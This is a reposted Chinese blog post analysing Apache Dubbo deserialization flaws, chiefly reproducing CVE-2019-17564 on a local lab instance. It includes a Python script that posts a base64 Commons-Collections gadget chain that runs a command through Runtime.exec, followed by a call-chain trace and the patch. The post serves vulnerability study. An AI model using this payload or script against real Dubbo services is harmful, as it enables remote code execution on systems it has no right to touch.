  • 0ctf/tctf 2022 hessian only jdk 复现和学习
补丁

2.7.15版本升级hessian_lite_version到3.2.12,该版本中移除对String的调用

https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#

image-20230212014549684

CVE-2019-17564(Http协议)

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

测试版本 Dubbo 2.7.3

会直接将 POST请求 body中的数据进行反序列化处理造成了漏洞。

下载

https://github.com/apache/dubbo-samples/tree/master/3-extensions/protocol/dubbo-samples-http

模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。

记得加上version 不然切换版本会报错。修改http-provider.xml的配置换一个端口非8080就行,这个端口被Zookeeper占了。

image-20230213212023336

import requests
import base64

url ="http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService"
payload ="rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)

headers ={"Content-Type":"application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)print(res.text)

在接收到http请求之后会调用

DispatcherServlet#service

方法处理请求。

image-20230213213506914

使用

HttpInvokerServiceExporter

作为skeleton处理http请求

image-20230213214545536

contentType是

application/x-java-serialized-object

类型

image-20230213214535082

直接跟进调用直接到

RemoteInvocationSerializingExporter#doReadRemoteInvocation

方法,这里有个反序列化的点,进行java原生反序列化

image-20230213211621129

主体调用链如下:

doReadRemoteInvocation:144,RemoteInvocationSerializingExporter(org.springframework.remoting.rmi)
readRemoteInvocation:121,HttpInvokerServiceExporter(org.springframework.remoting.httpinvoker)
readRemoteInvocation:100,HttpInvokerServiceExporter(org.springframework.remoting.httpinvoker)
handleRequest:79,HttpInvokerServiceExporter(org.springframework.remoting.httpinvoker)
handle:216,HttpProtocol$InternalHandler(org.apache.dubbo.rpc.protocol.http)
service:61,DispatcherServlet(org.apache.dubbo.remoting.http.servlet)
service:790,HttpServlet(javax.servlet.http)
补丁

将Spring框架的

HttpInvokerServiceExporter

类换成

JsonRpcServer

类,实际调用的是其父类

JsonRpcBasicServer.hanlde

方法,其中没有反序列化的危险操作,数据传输改用json 来完成。

参考

官方文档:Dubbo 开发指南

dubbo源码浅析:默认反序列化利用之hessian2

原创连载|Apache Dubbo 漏洞分析—Apache Dubbo 编解码原理详解

Dubbo 编解码那些事

Dubbo 源码分析

Hessian和Java反序列化问题小结

关于 Dubbo Hessian 反序列化的类不含无参构造函数的问题

Dubbo反序列化漏洞分析集合1

Dubbo2.7.7反序列化漏洞绕过分析

Apache-Dubbo-反序列化漏洞

标签: dubbo java 安全

本文转载自: https://blog.csdn.net/weixin_43610673/article/details/129018950
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。

“Javaweb安全——Dubbo 反序列化(一)”的评论:

还没有评论